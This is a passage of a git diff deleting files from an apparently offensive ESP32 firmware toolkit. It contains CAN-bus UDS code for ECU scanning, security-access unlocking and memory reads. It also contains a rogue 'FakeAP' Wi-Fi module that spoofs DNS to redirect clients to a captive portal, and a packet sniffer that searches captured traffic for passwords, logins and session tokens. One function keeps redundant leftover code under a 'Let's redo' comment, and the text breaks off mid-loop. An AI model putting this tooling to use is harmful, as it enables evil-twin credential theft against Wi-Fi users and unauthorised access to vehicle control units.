uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
isotp_status_t st = isotp_request(
ctx->tx_id, ctx->rx_id,
req, req_len,
resp, resp_cap, resp_len,
t
);
if (st == ISOTP_TIMEOUT) {
if (retry > 0) {
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
}
return -1;
}
if (st != ISOTP_OK) return -1;
/* Check for Negative Response */
if (*resp_len >= 3 && resp[0] == 0x7F) {
uint8_t nrc = resp[2];
/* ResponsePending — ECU needs more time */
if (nrc == UDS_NRC_RESPONSE_PENDING) {
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
/* Re-listen for the real response (no re-send needed) */
*resp_len = 0;
isotp_status_t st2 = isotp_recv(
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
);
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
if (st2 != ISOTP_OK) return -1;
/* Check if we got another NRC 0x78 or the real response */
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
continue; /* Still pending */
}
/* Got the real response, fall through to return */
}
/* Other negative responses */
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
resp[2], uds_nrc_name(resp[2]), resp[1],
(unsigned long)ctx->rx_id);
return -1;
}
}
/* Positive response or parsed NRC */
return (int)*resp_len;
}
return -1;
}
/* ============================================================
* Public API
* ============================================================ */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
{
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive response: 0x50 + session type */
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
ctx->session = session_type;
return 0;
}
return -1;
}
int uds_tester_present(uds_ctx_t *ctx)
{
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
return 0;
}
return -1;
}
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap)
{
uint8_t req[3] = {
UDS_READ_DATA_BY_ID,
(uint8_t)(did >> 8),
(uint8_t)(did & 0xFF),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x62 + DID (2 bytes) + data */
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
size_t data_len = resp_len - 3;
if (data_len > cap) data_len = cap;
memcpy(out, &resp[3], data_len);
return (int)data_len;
}
return -1;
}
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len)
{
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x67 + level + seed bytes */
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
size_t slen = resp_len - 2;
if (seed && seed_len) {
memcpy(seed, &resp[2], slen);
*seed_len = slen;
}
return 0;
}
return -1;
}
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len)
{
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
if (key_len > 32) return -1;
memcpy(&req[2], key, key_len);
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
ctx->security_unlocked = true;
return 0;
}
return -1;
}
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out)
{
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
uint8_t req[7] = {
UDS_READ_MEM_BY_ADDR,
0x24, /* format: 2+4 */
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
};
/* Append size low byte */
uint8_t req_full[8];
memcpy(req_full, req, 7);
req_full[7] = (uint8_t)(size & 0xFF);
/* Wait — need proper format. Let's redo:
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
uint8_t request[8] = {
UDS_READ_MEM_BY_ADDR,
0x24,
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
(uint8_t)(size),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x63 + data */
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
size_t data_len = resp_len - 1;
if (out) memcpy(out, &resp[1], data_len);
return (int)data_len;
}
return -1;
}
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
}
/* ============================================================
* ECU Discovery
* ============================================================ */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
{
int found = 0;
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 200, /* Short timeout for scan */
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
}
/* Extended range: 0x700-0x7DF */
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
/* Skip standard range (already scanned) */
if (tx >= 0x7E0) break;
uint32_t rx = tx + 0x08;
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 100,
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
/* Yield every 16 IDs to avoid watchdog */
if ((tx & 0x0F) == 0x0F) {
vTaskDelay(pdMS_TO_TICKS(1));
}
}
return found;
}
/* ============================================================
* NRC Name Lookup
* ============================================================ */
const char *uds_nrc_name(uint8_t nrc)
{
switch (nrc) {
case 0x10: return "generalReject";
case 0x11: return "serviceNotSupported";
case 0x12: return "subFunctionNotSupported";
case 0x13: return "incorrectMessageLength";
case 0x14: return "responseTooLong";
case 0x21: return "busyRepeatRequest";
case 0x22: return "conditionsNotCorrect";
case 0x24: return "requestSequenceError";
case 0x25: return "noResponseFromSubnet";
case 0x26: return "failurePreventsExecution";
case 0x31: return "requestOutOfRange";
case 0x33: return "securityAccessDenied";
case 0x35: return "invalidKey";
case 0x36: return "exceededNumberOfAttempts";
case 0x37: return "requiredTimeDelayNotExpired";
case 0x70: return "uploadDownloadNotAccepted";
case 0x71: return "transferDataSuspended";
case 0x72: return "generalProgrammingFailure";
case 0x73: return "wrongBlockSequenceCounter";
case 0x78: return "responsePending";
case 0x7E: return "subFunctionNotSupportedInActiveSession";
case 0x7F: return "serviceNotSupportedInActiveSession";
default: return "unknown";
}
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */

View File

@ -1,101 +0,0 @@
/*
* canbus_uds.h
* UDS (ISO 14229) diagnostic services over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* UDS Service IDs
* ============================================================ */
#define UDS_DIAG_SESSION_CTRL 0x10
#define UDS_ECU_RESET 0x11
#define UDS_CLEAR_DTC 0x14
#define UDS_READ_DTC_INFO 0x19
#define UDS_READ_DATA_BY_ID 0x22
#define UDS_READ_MEM_BY_ADDR 0x23
#define UDS_SECURITY_ACCESS 0x27
#define UDS_COMM_CTRL 0x28
#define UDS_WRITE_DATA_BY_ID 0x2E
#define UDS_IO_CTRL 0x2F
#define UDS_ROUTINE_CTRL 0x31
#define UDS_REQUEST_DOWNLOAD 0x34
#define UDS_REQUEST_UPLOAD 0x35
#define UDS_TRANSFER_DATA 0x36
#define UDS_TRANSFER_EXIT 0x37
#define UDS_TESTER_PRESENT 0x3E
/* Session types */
#define UDS_SESSION_DEFAULT 0x01
#define UDS_SESSION_PROGRAMMING 0x02
#define UDS_SESSION_EXTENDED 0x03
/* Negative Response Codes */
#define UDS_NRC_GENERAL_REJECT 0x10
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
#define UDS_NRC_INCORRECT_LENGTH 0x13
#define UDS_NRC_RESPONSE_PENDING 0x78
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
#define UDS_NRC_INVALID_KEY 0x35
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
/* ============================================================
* UDS Context
* ============================================================ */
typedef struct {
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
int timeout_ms; /* Response timeout */
uint8_t session; /* Current session type */
bool security_unlocked;
} uds_ctx_t;
/* ============================================================
* High-Level UDS API
* ============================================================ */
/* DiagnosticSessionControl (0x10) */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
/* TesterPresent (0x3E) — keep-alive */
int uds_tester_present(uds_ctx_t *ctx);
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap);
/* SecurityAccess (0x27) — request seed */
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len);
/* SecurityAccess (0x27) — send key */
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len);
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out);
/* Raw UDS request — returns response length or -1 */
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len);
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
/* Get human-readable NRC name */
const char *uds_nrc_name(uint8_t nrc);
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -1,7 +0,0 @@
/*
* cmd_canbus.h
* CAN bus module C2 command interface.
*/
#pragma once
void mod_canbus_register_commands(void);

View File

@ -1,4 +0,0 @@
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
INCLUDE_DIRS .
REQUIRES esp_http_server
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)

View File

@ -1,287 +0,0 @@
/*
* cmd_fakeAP.c
* Refactored for new command system
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "fakeAP_utils.h"
#include "utils.h"
#define TAG "CMD_FAKEAP"
/* ============================================================
* State
* ============================================================ */
atomic_bool fakeap_active = false;
static bool portal_running = false;
static bool sniffer_running = false;
/* ============================================================
* COMMAND: fakeap_start <ssid> [open|wpa2] [password]
* ============================================================ */
static int cmd_fakeap_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc < 1) {
msg_error(TAG,
"usage: fakeap_start <ssid> [open|wpa2] [password]",
req);
return -1;
}
if (fakeap_active) {
msg_error(TAG, "FakeAP already running", req);
return -1;
}
const char *ssid = argv[0];
bool open = true;
const char *password = NULL;
if (argc >= 2) {
if (!strcmp(argv[1], "open")) {
open = true;
} else if (!strcmp(argv[1], "wpa2")) {
open = false;
if (argc < 3) {
msg_error(TAG, "WPA2 password required", req);
return -1;
}
password = argv[2];
} else {
msg_error(TAG, "Unknown security mode", req);
return -1;
}
}
start_access_point(ssid, password, open);
fakeap_active = true;
msg_info(TAG, "FakeAP started", req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_stop
* ============================================================ */
static int cmd_fakeap_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
if (portal_running) {
stop_captive_portal();
portal_running = false;
}
if (sniffer_running) {
stop_sniffer();
sniffer_running = false;
}
stop_access_point();
fakeap_active = false;
msg_info(TAG, "FakeAP stopped", req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_status
* ============================================================ */
static int cmd_fakeap_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
char buf[256];
snprintf(buf, sizeof(buf),
"FakeAP status:\n"
" AP: %s\n"
" Portal: %s\n"
" Sniffer: %s\n"
" Authenticated clients: %d",
fakeap_active ? "ON" : "OFF",
portal_running ? "ON" : "OFF",
sniffer_running ? "ON" : "OFF",
authenticated_count
);
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_clients
* ============================================================ */
static int cmd_fakeap_clients(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
list_connected_clients();
return 0;
}
/* ============================================================
* COMMAND: fakeap_portal_start
* ============================================================ */
static int cmd_fakeap_portal_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!fakeap_active) {
msg_error(TAG, "Start FakeAP first", req);
return -1;
}
if (portal_running) {
msg_error(TAG, "Captive portal already running", req);
return -1;
}
start_captive_portal();
portal_running = true;
msg_info(TAG, "Captive portal enabled", req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_portal_stop
* ============================================================ */
static int cmd_fakeap_portal_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!portal_running) {
msg_error(TAG, "Captive portal not running", req);
return -1;
}
stop_captive_portal();
portal_running = false;
msg_info(TAG, "Captive portal stopped", req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_sniffer_on
* ============================================================ */
static int cmd_fakeap_sniffer_on(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (sniffer_running) {
msg_error(TAG, "Sniffer already running", req);
return -1;
}
start_sniffer();
sniffer_running = true;
msg_info(TAG, "Sniffer enabled", req);
return 0;
}
/* ============================================================
* COMMAND: fakeap_sniffer_off
* ============================================================ */
static int cmd_fakeap_sniffer_off(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!sniffer_running) {
msg_error(TAG, "Sniffer not running", req);
return -1;
}
stop_sniffer();
sniffer_running = false;
msg_info(TAG, "Sniffer disabled", req);
return 0;
}
/* ============================================================
* REGISTER COMMANDS
* ============================================================ */
static const command_t fakeap_cmds[] = {
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
};
void mod_fakeap_register_commands(void)
{
for (size_t i = 0; i < sizeof(fakeap_cmds)/sizeof(fakeap_cmds[0]); i++) {
command_register(&fakeap_cmds[i]);
}
}

View File

@ -1,2 +0,0 @@
#pragma once
void mod_fakeap_register_commands(void);

View File

@ -1,34 +0,0 @@
#pragma once
#include "lwip/ip4_addr.h"
#include <stdbool.h>
#define MAX_CLIENTS 10
#define CAPTIVE_PORTAL_IP "192.168.4.1"
#define CAPTIVE_PORTAL_URL "http://192.168.4.1/"
/* DNS settings */
#define DNS_PORT 53
#define UPSTREAM_DNS "8.8.8.8"
/* ===== AUTH STATE ===== */
bool fakeap_is_authenticated(ip4_addr_t ip);
void fakeap_mark_authenticated(ip4_addr_t ip);
/* Internal use only - exported for mod_web_server.c */
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
extern int authenticated_count;
/* ===== ACCESS POINT ===== */
void start_access_point(const char *ssid, const char *password, bool open);
void stop_access_point(void);
/* ===== CAPTIVE PORTAL ===== */
void *start_captive_portal(void);
void stop_captive_portal(void);
/* ===== SNIFFER ===== */
void start_sniffer(void);
void stop_sniffer(void);
/* ===== CLIENTS ===== */
void list_connected_clients(void);

View File

@ -1,381 +0,0 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_netif.h"
#include "esp_event.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "fakeAP_utils.h"
#include "utils.h"
static const char *TAG = "MODULE_FAKE_AP";
static esp_netif_t *ap_netif = NULL;
static bool ap_event_registered = false;
static esp_event_handler_instance_t ap_event_instance_connect;
static esp_event_handler_instance_t ap_event_instance_disconnect;
static bool ap_ip_event_registered = false;
static esp_event_handler_instance_t ap_event_instance_ip;
/* ================= AUTH ================= */
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
int authenticated_count = 0; /* exported for mod_web_server.c */
static SemaphoreHandle_t auth_mutex;
/* ================= DNS ================= */
static TaskHandle_t dns_task_handle = NULL;
typedef struct {
bool captive_portal;
} dns_param_t;
/* Forward declaration */
void dns_forwarder_task(void *pv);
/* ============================================================
* AUTH
* ============================================================ */
bool fakeap_is_authenticated(ip4_addr_t ip)
{
bool res = false;
xSemaphoreTake(auth_mutex, portMAX_DELAY);
for (int i = 0; i < authenticated_count; i++) {
if (authenticated_clients[i].addr == ip.addr) {
res = true;
break;
}
}
xSemaphoreGive(auth_mutex);
return res;
}
void fakeap_mark_authenticated(ip4_addr_t ip)
{
xSemaphoreTake(auth_mutex, portMAX_DELAY);
if (authenticated_count < MAX_CLIENTS) {
authenticated_clients[authenticated_count++] = ip;
ESP_LOGI(TAG, "Client authenticated: %s", ip4addr_ntoa(&ip));
}
xSemaphoreGive(auth_mutex);
}
static void fakeap_reset_auth(void)
{
xSemaphoreTake(auth_mutex, portMAX_DELAY);
authenticated_count = 0;
memset(authenticated_clients, 0, sizeof(authenticated_clients));
xSemaphoreGive(auth_mutex);
}
/* ============================================================
* CLIENTS
* ============================================================ */
void list_connected_clients(void)
{
wifi_sta_list_t sta_list;
esp_wifi_ap_get_sta_list(&sta_list);
char buf[512];
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
off += snprintf(buf + off, sizeof(buf) - off,
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
i + 1,
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
}
msg_info(TAG, buf, NULL);
}
static void fakeap_wifi_event_handler(
void *arg,
esp_event_base_t event_base,
int32_t event_id,
void *event_data
) {
if (event_base != WIFI_EVENT) {
return;
}
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
wifi_event_ap_staconnected_t *e =
(wifi_event_ap_staconnected_t *)event_data;
char msg[96];
snprintf(
msg,
sizeof(msg),
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
e->aid
);
msg_info(TAG, msg, NULL);
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
wifi_event_ap_stadisconnected_t *e =
(wifi_event_ap_stadisconnected_t *)event_data;
char msg[112];
snprintf(
msg,
sizeof(msg),
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
e->aid,
e->reason
);
msg_info(TAG, msg, NULL);
}
}
static void fakeap_ip_event_handler(
void *arg,
esp_event_base_t event_base,
int32_t event_id,
void *event_data
) {
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
return;
}
ip_event_ap_staipassigned_t *e =
(ip_event_ap_staipassigned_t *)event_data;
char msg[128];
snprintf(
msg,
sizeof(msg),
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
IPSTR,
e->mac[0], e->mac[1], e->mac[2],
e->mac[3], e->mac[4], e->mac[5],
IP2STR(&e->ip)
);
ESP_LOGI(TAG, "%s", msg);
msg_info(TAG, msg, NULL);
}
/* ============================================================
* AP
* ============================================================ */
void stop_access_point(void)
{
if (dns_task_handle) {
vTaskDelete(dns_task_handle);
dns_task_handle = NULL;
}
fakeap_reset_auth();
esp_wifi_set_mode(WIFI_MODE_STA);
msg_info(TAG, "Access Point stopped", NULL);
}
void start_access_point(const char *ssid, const char *password, bool open)
{
if (!auth_mutex)
auth_mutex = xSemaphoreCreateMutex();
fakeap_reset_auth();
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
if (!ap_event_registered) {
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
WIFI_EVENT,
WIFI_EVENT_AP_STACONNECTED,
&fakeap_wifi_event_handler,
NULL,
&ap_event_instance_connect
)
);
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
WIFI_EVENT,
WIFI_EVENT_AP_STADISCONNECTED,
&fakeap_wifi_event_handler,
NULL,
&ap_event_instance_disconnect
)
);
ap_event_registered = true;
}
if (!ap_ip_event_registered) {
ESP_ERROR_CHECK(
esp_event_handler_instance_register(
IP_EVENT,
IP_EVENT_AP_STAIPASSIGNED,
&fakeap_ip_event_handler,
NULL,
&ap_event_instance_ip
)
);
ap_ip_event_registered = true;
}
wifi_config_t cfg = {0};
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
cfg.ap.ssid_len = strlen(ssid);
cfg.ap.max_connection = MAX_CLIENTS;
if (open) {
cfg.ap.authmode = WIFI_AUTH_OPEN;
} else {
strncpy((char *)cfg.ap.password, password, sizeof(cfg.ap.password));
cfg.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
}
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
vTaskDelay(pdMS_TO_TICKS(2000));
if (!ap_netif) {
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
}
if (!ap_netif) {
ap_netif = esp_netif_create_default_wifi_ap();
}
if (!ap_netif) {
ESP_LOGE(TAG, "Failed to create AP netif");
return;
}
esp_netif_ip_info_t ip = {
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
};
esp_netif_dhcps_stop(ap_netif);
esp_netif_set_ip_info(ap_netif, &ip);
esp_netif_dhcps_option(
ap_netif,
ESP_NETIF_OP_SET,
ESP_NETIF_DOMAIN_NAME_SERVER,
&ip.ip,
sizeof(ip.ip)
);
esp_netif_dhcps_start(ap_netif);
ESP_LOGI(TAG,
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
ESP_LOGI(TAG, "DHCP server started");
/*
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
* FakeAP works without NAPT (no internet sharing to clients).
* TODO: Fix NAPT if internet sharing is needed.
*/
dns_param_t *p = calloc(1, sizeof(*p));
p->captive_portal = open;
xTaskCreate(
dns_forwarder_task,
"dns_forwarder",
4096,
p,
5,
&dns_task_handle
);
char msg[64];
snprintf(msg, sizeof(msg), "FakeAP started (%s)", open ? "captive" : "open");
msg_info(TAG, msg, NULL);
}
/* ============================================================
* DNS
* ============================================================ */
static void send_dns_spoof(
int sock,
struct sockaddr_in *cli,
socklen_t len,
uint8_t *req,
int req_len,
uint32_t ip
) {
/* DNS answer appends 16 bytes after the request */
#define DNS_ANSWER_SIZE 16
uint8_t resp[512 + DNS_ANSWER_SIZE];
if (req_len <= 0 || req_len > 512) {
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
return;
}
memcpy(resp, req, req_len);
resp[2] |= 0x80; // QR = response
resp[3] |= 0x80; // RA
resp[7] = 1; // ANCOUNT
int off = req_len;
resp[off++] = 0xC0; resp[off++] = 0x0C;
resp[off++] = 0x00; resp[off++] = 0x01;
resp[off++] = 0x00; resp[off++] = 0x01;
resp[off++] = 0; resp[off++] = 0; resp[off++] = 0; resp[off++] = 30;
resp[off++] = 0; resp[off++] = 4;
memcpy(&resp[off], &ip, 4);
off += 4;
sendto(sock, resp, off, 0, (struct sockaddr *)cli, len);
}
void dns_forwarder_task(void *pv)
{
dns_param_t *p = pv;
bool captive = p->captive_portal;
free(p);
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in local = {
.sin_family = AF_INET,
.sin_port = htons(DNS_PORT),
.sin_addr.s_addr = htonl(INADDR_ANY)
};
bind(sock, (struct sockaddr *)&local, sizeof(local));
char msg[64];
snprintf(msg, sizeof(msg), "DNS forwarder running (captive=%d)", captive);
msg_info(TAG, msg, NULL);
uint8_t buf[512];
while (1) {
struct sockaddr_in cli;
socklen_t l = sizeof(cli);
int r = recvfrom(sock, buf, sizeof(buf), 0,
(struct sockaddr *)&cli, &l);
if (r <= 0) continue;
ip4_addr_t ip;
ip.addr = cli.sin_addr.s_addr;
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
if (captive && !fakeap_is_authenticated(ip)) {
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
continue;
}
int up = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in dns = {
.sin_family = AF_INET,
.sin_port = htons(53),
.sin_addr.s_addr = inet_addr(UPSTREAM_DNS)
};
sendto(up, buf, r, 0, (struct sockaddr *)&dns, sizeof(dns));
r = recvfrom(up, buf, sizeof(buf), 0, NULL, NULL);
if (r > 0)
sendto(sock, buf, r, 0, (struct sockaddr *)&cli, l);
close(up);
}
}

View File

@ -1,134 +0,0 @@
#include "esp_wifi.h"
#include "esp_log.h"
#include <ctype.h>
#include <string.h>
#include <stdbool.h>
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
static const char *TAG = "MODULE_NET_SNIFFER";
/* ============================================================
* State
* ============================================================ */
static bool sniffer_running = false;
static uint32_t sniff_counter = 0;
/* ============================================================
* Helpers
* ============================================================ */
static void extract_printable(
const uint8_t *src,
int src_len,
char *dst,
int dst_len
) {
int j = 0;
for (int i = 0; i < src_len && j < dst_len - 1; i++) {
if (isprint(src[i])) {
dst[j++] = src[i];
}
}
dst[j] = '\0';
}
/* ============================================================
* WiFi callback
* ============================================================ */
static void wifi_sniffer_packet_handler(
void *buf,
wifi_promiscuous_pkt_type_t type
) {
if (!sniffer_running || type != WIFI_PKT_DATA)
return;
const wifi_promiscuous_pkt_t *pkt =
(const wifi_promiscuous_pkt_t *)buf;
const uint8_t *frame = pkt->payload;
uint16_t frame_len = pkt->rx_ctrl.sig_len;
if (frame_len < 36)
return;
const uint8_t *payload = frame + 24;
int payload_len = frame_len - 24;
if (payload_len <= 0)
return;
char printable[128];
extract_printable(payload, payload_len, printable, sizeof(printable));
if (!printable[0])
return;
const char *keywords[] = {
"password", "login", "username", "pass",
"email", "auth", "session", "credential",
"secret", "admin"
};
for (size_t i = 0; i < sizeof(keywords)/sizeof(keywords[0]); i++) {
if (strstr(printable, keywords[i])) {
